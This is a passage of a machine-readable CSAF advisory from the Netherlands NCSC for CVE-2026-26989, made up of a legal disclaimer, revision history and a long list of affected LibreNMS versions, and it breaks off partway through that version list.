{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-26989", "tracking": { "current_release_date": "2026-03-20T09:42:57.104769Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-26989", "initial_release_date": "2026-02-18T22:39:48.815600Z", "revision_history": [ { "date": "2026-02-18T22:39:48.815600Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)." }, { "date": "2026-02-18T22:39:51.420947Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-02-20T02:25:01.867336Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)." }, { "date": "2026-02-20T02:25:05.357296Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-02-20T02:38:47.966667Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (4).| CWES updated (1)." }, { "date": "2026-02-20T02:38:50.393741Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-02-20T07:35:00.660232Z", "number": "7", "summary": "NCSC Score updated." }, { "date": "2026-02-20T14:13:31.238837Z", "number": "8", "summary": "Source created.| CVE status created. (valid)| EPSS created." }, { "date": "2026-02-20T14:13:34.279738Z", "number": "9", "summary": "NCSC Score updated." }, { "date": "2026-02-20T17:04:15.615395Z", "number": "10", "summary": "Unknown change." }, { "date": "2026-02-20T17:04:22.465840Z", "number": "11", "summary": "NCSC Score updated." }, { "date": "2026-02-20T17:27:51.485997Z", "number": "12", "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-02-20T17:28:01.233044Z", "number": "13", "summary": "NCSC Score updated." }, { "date": "2026-02-20T17:39:41.129780Z", "number": "14", "summary": "References created (1)." }, { "date": "2026-02-20T18:30:35.583072Z", "number": "15", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (150).| Product Identifiers created (149).| References created (5).| CWES updated (1)." }, { "date": "2026-02-21T00:11:19.137732Z", "number": "16", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (146).| References created (6).| CWES updated (1)." }, { "date": "2026-03-20T09:42:53.530045Z", "number": "17", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-20T09:42:56.237940Z", "number": "18", "summary": "NCSC Score updated." } ], "status": "interim", "version": "18" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/0.1", "product": { "name": "vers:unknown/0.1", "product_id": "CSAFPID-414752" } }, { "category": "product_version_range", "name": "vers:unknown/1.19", "product": { "name": "vers:unknown/1.19", "product_id": "CSAFPID-414734", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.19" } } }, { "category": "product_version_range", "name": "vers:unknown/1.20", "product": { "name": "vers:unknown/1.20", "product_id": "CSAFPID-414744", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.20" } } }, { "category": "product_version_range", "name": "vers:unknown/1.20.1", "product": { "name": "vers:unknown/1.20.1", "product_id": "CSAFPID-414737", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.20.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.21", "product": { "name": "vers:unknown/1.21", "product_id": "CSAFPID-414760", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.21" } } }, { "category": "product_version_range", "name": "vers:unknown/1.22", "product": { "name": "vers:unknown/1.22", "product_id": "CSAFPID-414731", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.22" } } }, { "category": "product_version_range", "name": "vers:unknown/1.22.01", "product": { "name": "vers:unknown/1.22.01", "product_id": "CSAFPID-414741", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.22.01" } } }, { "category": "product_version_range", "name": "vers:unknown/1.23", "product": { "name": "vers:unknown/1.23", "product_id": "CSAFPID-414748", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.23" } } }, { "category": "product_version_range", "name": "vers:unknown/1.24", "product": { "name": "vers:unknown/1.24", "product_id": "CSAFPID-414735", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.24" } } }, { "category": "product_version_range", "name": "vers:unknown/1.25", "product": { "name": "vers:unknown/1.25", "product_id": "CSAFPID-414739", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.25" } } }, { "category": "product_version_range", "name": "vers:unknown/1.26", "product": { "name": "vers:unknown/1.26", "product_id": "CSAFPID-414755", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.26" } } }, { "category": "product_version_range", "name": "vers:unknown/1.27", "product": { "name": "vers:unknown/1.27", "product_id": "CSAFPID-414730", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.27" } } }, { "category": "product_version_range", "name": "vers:unknown/1.28", "product": { "name": "vers:unknown/1.28", "product_id": "CSAFPID-414746", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.28" } } }, { "category": "product_version_range", "name": "vers:unknown/1.29", "product": { "name": "vers:unknown/1.29", "product_id": "CSAFPID-414745", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.29" } } }, { "category": "product_version_range", "name": "vers:unknown/1.30", "product": { "name": "vers:unknown/1.30", "product_id": "CSAFPID-414727", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.30" } } }, { "category": "product_version_range", "name": "vers:unknown/1.30.01", "product": { "name": "vers:unknown/1.30.01", "product_id": "CSAFPID-414749", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.30.01" } } }, { "category": "product_version_range", "name": "vers:unknown/1.31", "product": { "name": "vers:unknown/1.31", "product_id": "CSAFPID-414750", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.31" } } }, { "category": "product_version_range", "name": "vers:unknown/1.31.01", "product": { "name": "vers:unknown/1.31.01", "product_id": "CSAFPID-414740", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.31.01" } } }, { "category": "product_version_range", "name": "vers:unknown/1.31.02", "product": { "name": "vers:unknown/1.31.02", "product_id": "CSAFPID-414757", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.31.02" } } }, { "category": "product_version_range", "name": "vers:unknown/1.31.03", "product": { "name": "vers:unknown/1.31.03", "product_id": "CSAFPID-414728", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.31.03" } } }, { "category": "product_version_range", "name": "vers:unknown/1.32", "product": { "name": "vers:unknown/1.32", "product_id": "CSAFPID-414754", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.32" } } }, { "category": "product_version_range", "name": "vers:unknown/1.32.01", "product": { "name": "vers:unknown/1.32.01", "product_id": "CSAFPID-414729", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.32.01" } } }, { "category": "product_version_range", "name": "vers:unknown/1.33", "product": { "name": "vers:unknown/1.33", "product_id": "CSAFPID-414738", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.33" } } }, { "category": "product_version_range", "name": "vers:unknown/1.33.01", "product": { "name": "vers:unknown/1.33.01", "product_id": "CSAFPID-414761", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.33.01" } } }, { "category": "product_version_range", "name": "vers:unknown/1.34", "product": { "name": "vers:unknown/1.34", "product_id": "CSAFPID-414758", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.34" } } }, { "category": "product_version_range", "name": "vers:unknown/1.35", "product": { "name": "vers:unknown/1.35", "product_id": "CSAFPID-414742", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.35" } } }, { "category": "product_version_range", "name": "vers:unknown/1.36", "product": { "name": "vers:unknown/1.36", "product_id": "CSAFPID-414747", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.36" } } }, { "category": "product_version_range", "name": "vers:unknown/1.36.01", "product": { "name": "vers:unknown/1.36.01", "product_id": "CSAFPID-414736", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.36.01" } } }, { "category": "product_version_range", "name": "vers:unknown/1.37", "product": { "name": "vers:unknown/1.37", "product_id": "CSAFPID-414733", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.37" } } }, { "category": "product_version_range", "name": "vers:unknown/1.38", "product": { "name": "vers:unknown/1.38", "product_id": "CSAFPID-414753", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.38" } } }, { "category": "product_version_range", "name": "vers:unknown/1.39", "product": { "name": "vers:unknown/1.39", "product_id": "CSAFPID-414751", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.39" } } }, { "category": "product_version_range", "name": "vers:unknown/1.40", "product": { "name": "vers:unknown/1.40", "product_id": "CSAFPID-414762", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.40" } } }, { "category": "product_version_range", "name": "vers:unknown/1.41", "product": { "name": "vers:unknown/1.41", "product_id": "CSAFPID-414743", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.41" } } }, { "category": "product_version_range", "name": "vers:unknown/1.42", "product": { "name": "vers:unknown/1.42", "product_id": "CSAFPID-414759", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.42" } } }, { "category": "product_version_range", "name": "vers:unknown/1.42.01", "product": { "name": "vers:unknown/1.42.01", "product_id": "CSAFPID-414756", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.42.01" } } }, { "category": "product_version_range", "name": "vers:unknown/1.43", "product": { "name": "vers:unknown/1.43", "product_id": "CSAFPID-414732", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.43" } } }, { "category": "product_version_range", "name": "vers:unknown/1.44", "product": { "name": "vers:unknown/1.44", "product_id": "CSAFPID-422506", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.44" } } }, { "category": "product_version_range", "name": "vers:unknown/1.45", "product": { "name": "vers:unknown/1.45", "product_id": "CSAFPID-422505", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.45" } } }, { "category": "product_version_range", "name": "vers:unknown/1.46", "product": { "name": "vers:unknown/1.46", "product_id": "CSAFPID-421991", "product_identification_helper": { "cpe": "cpe:2.3:a:librenms:librenms:1.46:*:*:*:*:*:*:*", "purl": "pkg:composer/librenms/librenms@1.46" } } }, { "category": "product_version_range", "name": "vers:unknown/1.47", "product": { "name": "vers:unknown/1.47", "product_id": "CSAFPID-422507", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.47" } } }, { "category": "product_version_range", "name": "vers:unknown/1.48", "product": { "name": "vers:unknown/1.48", "product_id": "CSAFPID-468397", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.48" } } }, { "category": "product_version_range", "name": "vers:unknown/1.48.1", "product": { "name": "vers:unknown/1.48.1", "product_id": "CSAFPID-468398", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.48.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.49", "product": { "name": "vers:unknown/1.49", "product_id": "CSAFPID-468399", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.49" } } }, { "category": "product_version_range", "name": "vers:unknown/1.50", "product": { "name": "vers:unknown/1.50", "product_id": "CSAFPID-468400", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.50" } } }, { "category": "product_version_range", "name": "vers:unknown/1.50.1", "product": { "name": "vers:unknown/1.50.1", "product_id": "CSAFPID-468396", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.50.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.51", "product": { "name": "vers:unknown/1.51", "product_id": "CSAFPID-468394", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.51" } } }, { "category": "product_version_range", "name": "vers:unknown/1.52", "product": { "name": "vers:unknown/1.52", "product_id": "CSAFPID-468395", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.52" } } }, { "category": "product_version_range", "name": "vers:unknown/1.53", "product": { "name": "vers:unknown/1.53", "product_id": "CSAFPID-560091", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.53" } } }, { "category": "product_version_range", "name": "vers:unknown/1.53.1", "product": { "name": "vers:unknown/1.53.1", "product_id": "CSAFPID-560089", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.53.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.54", "product": { "name": "vers:unknown/1.54", "product_id": "CSAFPID-481797", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.54" } } }, { "category": "product_version_range", "name": "vers:unknown/1.55", "product": { "name": "vers:unknown/1.55", "product_id": "CSAFPID-560082", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.55" } } }, { "category": "product_version_range", "name": "vers:unknown/1.56", "product": { "name": "vers:unknown/1.56", "product_id": "CSAFPID-560088", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.56" } } }, { "category": "product_version_range", "name": "vers:unknown/1.57", "product": { "name": "vers:unknown/1.57", "product_id": "CSAFPID-560090", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.57" } } }, { "category": "product_version_range", "name": "vers:unknown/1.58", "product": { "name": "vers:unknown/1.58", "product_id": "CSAFPID-560078", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.58" } } }, { "category": "product_version_range", "name": "vers:unknown/1.58.1", "product": { "name": "vers:unknown/1.58.1", "product_id": "CSAFPID-560085", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.58.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.59", "product": { "name": "vers:unknown/1.59", "product_id": "CSAFPID-560081", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.59" } } }, { "category": "product_version_range", "name": "vers:unknown/1.60", "product": { "name": "vers:unknown/1.60", "product_id": "CSAFPID-560087", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.60" } } }, { "category": "product_version_range", "name": "vers:unknown/1.61", "product": { "name": "vers:unknown/1.61", "product_id": "CSAFPID-560083", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.61" } } }, { "category": "product_version_range", "name": "vers:unknown/1.62", "product": { "name": "vers:unknown/1.62", "product_id": "CSAFPID-560079", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.62" } } }, { "category": "product_version_range", "name": "vers:unknown/1.62.1", "product": { "name": "vers:unknown/1.62.1", "product_id": "CSAFPID-560093", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.62.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.62.2", "product": { "name": "vers:unknown/1.62.2", "product_id": "CSAFPID-560086", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.62.2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.63", "product": { "name": "vers:unknown/1.63", "product_id": "CSAFPID-560092", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.63" } } }, { "category": "product_version_range", "name": "vers:unknown/1.64", "product": { "name": "vers:unknown/1.64", "product_id": "CSAFPID-560084", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.64" } } }, { "category": "product_version_range", "name": "vers:unknown/1.64.1", "product": { "name": "vers:unknown/1.64.1", "product_id": "CSAFPID-560077", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.64.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.65", "product": { "name": "vers:unknown/1.65", "product_id": "CSAFPID-560080", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.65" } } }, { "category": "product_version_range", "name": "vers:unknown/1.65.1", "product": { "name": "vers:unknown/1.65.1", "product_id": "CSAFPID-590292", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.65.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.66", "product": { "name": "vers:unknown/1.66", "product_id": "CSAFPID-590286", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.66" } } }, { "category": "product_version_range", "name": "vers:unknown/1.67", "product": { "name": "vers:unknown/1.67", "product_id": "CSAFPID-590287", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.67" } } }, { "category": "product_version_range", "name": "vers:unknown/1.68", "product": { "name": "vers:unknown/1.68", "product_id": "CSAFPID-590291", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.68" } } }, { "category": "product_version_range", "name": "vers:unknown/1.69", "product": { "name": "vers:unknown/1.69", "product_id": "CSAFPID-590290", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.69" } } }, { "category": "product_version_range", "name": "vers:unknown/1.70.0", "product": { "name": "vers:unknown/1.70.0", "product_id": "CSAFPID-590288", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.70.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.70.1", "product": { "name": "vers:unknown/1.70.1", "product_id": "CSAFPID-590289", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@1.70.1" } } }, { "category": "product_version_range", "name": "vers:unknown/201505", "product": { "name": "vers:unknown/201505", "product_id": "CSAFPID-3332595" } }, { "category": "product_version_range", "name": "vers:unknown/201506", "product": { "name": "vers:unknown/201506", "product_id": "CSAFPID-3332596" } }, { "category": "product_version_range", "name": "vers:unknown/201507", "product": { "name": "vers:unknown/201507", "product_id": "CSAFPID-3332597" } }, { "category": "product_version_range", "name": "vers:unknown/201508", "product": { "name": "vers:unknown/201508", "product_id": "CSAFPID-3332598" } }, { "category": "product_version_range", "name": "vers:unknown/201509", "product": { "name": "vers:unknown/201509", "product_id": "CSAFPID-3332599" } }, { "category": "product_version_range", "name": "vers:unknown/201510", "product": { "name": "vers:unknown/201510", "product_id": "CSAFPID-3332600" } }, { "category": "product_version_range", "name": "vers:unknown/201511", "product": { "name": "vers:unknown/201511", "product_id": "CSAFPID-3332601" } }, { "category": "product_version_range", "name": "vers:unknown/201512", "product": { "name": "vers:unknown/201512", "product_id": "CSAFPID-3332602" } }, { "category": "product_version_range", "name": "vers:unknown/201601", "product": { "name": "vers:unknown/201601", "product_id": "CSAFPID-3332603" } }, { "category": "product_version_range", "name": "vers:unknown/201602", "product": { "name": "vers:unknown/201602", "product_id": "CSAFPID-3332604" } }, { "category": "product_version_range", "name": "vers:unknown/201603", "product": { "name": "vers:unknown/201603", "product_id": "CSAFPID-3332605" } }, { "category": "product_version_range", "name": "vers:unknown/201604", "product": { "name": "vers:unknown/201604", "product_id": "CSAFPID-3332606" } }, { "category": "product_version_range", "name": "vers:unknown/201605", "product": { "name": "vers:unknown/201605", "product_id": "CSAFPID-3332607" } }, { "category": "product_version_range", "name": "vers:unknown/201606", "product": { "name": "vers:unknown/201606", "product_id": "CSAFPID-3332608" } }, { "category": "product_version_range", "name": "vers:unknown/201607", "product": { "name": "vers:unknown/201607", "product_id": "CSAFPID-3332609" } }, { "category": "product_version_range", "name": "vers:unknown/201608", "product": { "name": "vers:unknown/201608", "product_id": "CSAFPID-3332610" } }, { "category": "product_version_range", "name": "vers:unknown/20160828", "product": { "name": "vers:unknown/20160828", "product_id": "CSAFPID-3332611" } }, { "category": "product_version_range", "name": "vers:unknown/201609", "product": { "name": "vers:unknown/201609", "product_id": "CSAFPID-3332612" } }, { "category": "product_version_range", "name": "vers:unknown/21.1.0", "product": { "name": "vers:unknown/21.1.0", "product_id": "CSAFPID-678956", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@21.1.0" } } }, { "category": "product_version_range", "name": "vers:unknown/21.10.0", "product": { "name": "vers:unknown/21.10.0", "product_id": "CSAFPID-730682", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@21.10.0" } } }, { "category": "product_version_range", "name": "vers:unknown/21.10.1", "product": { "name": "vers:unknown/21.10.1", "product_id": "CSAFPID-730672", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@21.10.1" } } }, { "category": "product_version_range", "name": "vers:unknown/21.10.2", "product": { "name": "vers:unknown/21.10.2", "product_id": "CSAFPID-730678", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@21.10.2" } } }, { "category": "product_version_range", "name": "vers:unknown/21.11.0", "product": { "name": "vers:unknown/21.11.0", "product_id": "CSAFPID-747289", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@21.11.0" } } }, { "category": "product_version_range", "name": "vers:unknown/21.12.0", "product": { "name": "vers:unknown/21.12.0", "product_id": "CSAFPID-747290", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@21.12.0" } } }, { "category": "product_version_range", "name": "vers:unknown/21.12.1", "product": { "name": "vers:unknown/21.12.1", "product_id": "CSAFPID-747292", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@21.12.1" } } }, { "category": "product_version_range", "name": "vers:unknown/21.2.0", "product": { "name": "vers:unknown/21.2.0", "product_id": "CSAFPID-678942", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@21.2.0" } } }, { "category": "product_version_range", "name": "vers:unknown/21.3.0", "product": { "name": "vers:unknown/21.3.0", "product_id": "CSAFPID-730677", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@21.3.0" } } }, { "category": "product_version_range", "name": "vers:unknown/21.4.0", "product": { "name": "vers:unknown/21.4.0", "product_id": "CSAFPID-730683", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@21.4.0" } } }, { "category": "product_version_range", "name": "vers:unknown/21.5.0", "product": { "name": "vers:unknown/21.5.0", "product_id": "CSAFPID-730674", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@21.5.0" } } }, { "category": "product_version_range", "name": "vers:unknown/21.5.1", "product": { "name": "vers:unknown/21.5.1", "product_id": "CSAFPID-730679", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@21.5.1" } } }, { "category": "product_version_range", "name": "vers:unknown/21.6.0", "product": { "name": "vers:unknown/21.6.0", "product_id": "CSAFPID-730675", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@21.6.0" } } }, { "category": "product_version_range", "name": "vers:unknown/21.7.0", "product": { "name": "vers:unknown/21.7.0", "product_id": "CSAFPID-730680", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@21.7.0" } } }, { "category": "product_version_range", "name": "vers:unknown/21.8.0", "product": { "name": "vers:unknown/21.8.0", "product_id": "CSAFPID-730673", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@21.8.0" } } }, { "category": "product_version_range", "name": "vers:unknown/21.9.0", "product": { "name": "vers:unknown/21.9.0", "product_id": "CSAFPID-730676", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@21.9.0" } } }, { "category": "product_version_range", "name": "vers:unknown/21.9.1", "product": { "name": "vers:unknown/21.9.1", "product_id": "CSAFPID-730681", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@21.9.1" } } }, { "category": "product_version_range", "name": "vers:unknown/22.1.0", "product": { "name": "vers:unknown/22.1.0", "product_id": "CSAFPID-747291", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@22.1.0" } } }, { "category": "product_version_range", "name": "vers:unknown/22.10.0", "product": { "name": "vers:unknown/22.10.0", "product_id": "CSAFPID-989996", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@22.10.0" } } }, { "category": "product_version_range", "name": "vers:unknown/22.11.0", "product": { "name": "vers:unknown/22.11.0", "product_id": "CSAFPID-990004", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@22.11.0" } } }, { "category": "product_version_range", "name": "vers:unknown/22.12.0", "product": { "name": "vers:unknown/22.12.0", "product_id": "CSAFPID-3623836", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@22.12.0" } } }, { "category": "product_version_range", "name": "vers:unknown/22.2.0", "product": { "name": "vers:unknown/22.2.0", "product_id": "CSAFPID-748863", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@22.2.0" } } }, { "category": "product_version_range", "name": "vers:unknown/22.2.1", "product": { "name": "vers:unknown/22.2.1", "product_id": "CSAFPID-748862", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@22.2.1" } } }, { "category": "product_version_range", "name": "vers:unknown/22.2.2", "product": { "name": "vers:unknown/22.2.2", "product_id": "CSAFPID-828472", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@22.2.2" } } }, { "category": "product_version_range", "name": "vers:unknown/22.3.0", "product": { "name": "vers:unknown/22.3.0", "product_id": "CSAFPID-809396", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@22.3.0" } } }, { "category": "product_version_range", "name": "vers:unknown/22.4.0", "product": { "name": "vers:unknown/22.4.0", "product_id": "CSAFPID-828470", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@22.4.0" } } }, { "category": "product_version_range", "name": "vers:unknown/22.4.1", "product": { "name": "vers:unknown/22.4.1", "product_id": "CSAFPID-828471", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@22.4.1" } } }, { "category": "product_version_range", "name": "vers:unknown/22.5.0", "product": { "name": "vers:unknown/22.5.0", "product_id": "CSAFPID-828473", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@22.5.0" } } }, { "category": "product_version_range", "name": "vers:unknown/22.6.0", "product": { "name": "vers:unknown/22.6.0", "product_id": "CSAFPID-834128", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@22.6.0" } } }, { "category": "product_version_range", "name": "vers:unknown/22.7.0", "product": { "name": "vers:unknown/22.7.0", "product_id": "CSAFPID-828469", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@22.7.0" } } }, { "category": "product_version_range", "name": "vers:unknown/22.8.0", "product": { "name": "vers:unknown/22.8.0", "product_id": "CSAFPID-828474", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@22.8.0" } } }, { "category": "product_version_range", "name": "vers:unknown/22.9.0", "product": { "name": "vers:unknown/22.9.0", "product_id": "CSAFPID-828468", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@22.9.0" } } }, { "category": "product_version_range", "name": "vers:unknown/23.1.0", "product": { "name": "vers:unknown/23.1.0", "product_id": "CSAFPID-990000", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@23.1.0" } } }, { "category": "product_version_range", "name": "vers:unknown/23.1.1", "product": { "name": "vers:unknown/23.1.1", "product_id": "CSAFPID-990002", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@23.1.1" } } }, { "category": "product_version_range", "name": "vers:unknown/23.10.0", "product": { "name": "vers:unknown/23.10.0", "product_id": "CSAFPID-1001692", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@23.10.0" } } }, { "category": "product_version_range", "name": "vers:unknown/23.11.0", "product": { "name": "vers:unknown/23.11.0", "product_id": "CSAFPID-1165684", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@23.11.0" } } }, { "category": "product_version_range", "name": "vers:unknown/23.2.0", "product": { "name": "vers:unknown/23.2.0", "product_id": "CSAFPID-989997", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@23.2.0" } } }, { "category": "product_version_range", "name": "vers:unknown/23.4.0", "product": { "name": "vers:unknown/23.4.0", "product_id": "CSAFPID-989999", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@23.4.0" } } }, { "category": "product_version_range", "name": "vers:unknown/23.4.1", "product": { "name": "vers:unknown/23.4.1", "product_id": "CSAFPID-990003", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@23.4.1" } } }, { "category": "product_version_range", "name": "vers:unknown/23.5.0", "product": { "name": "vers:unknown/23.5.0", "product_id": "CSAFPID-989998", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@23.5.0" } } }, { "category": "product_version_range", "name": "vers:unknown/23.6.0", "product": { "name": "vers:unknown/23.6.0", "product_id": "CSAFPID-989995", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@23.6.0" } } }, { "category": "product_version_range", "name": "vers:unknown/23.7.0", "product": { "name": "vers:unknown/23.7.0", "product_id": "CSAFPID-990001", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@23.7.0" } } }, { "category": "product_version_range", "name": "vers:unknown/23.8.0", "product": { "name": "vers:unknown/23.8.0", "product_id": "CSAFPID-1001693", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@23.8.0" } } }, { "category": "product_version_range", "name": "vers:unknown/23.8.1", "product": { "name": "vers:unknown/23.8.1", "product_id": "CSAFPID-1001694", "product_identification_helper": { "purl": "pkg:composer/librenms/librenms@23.8.1" } } }, { "category": "product_version_range", "name": 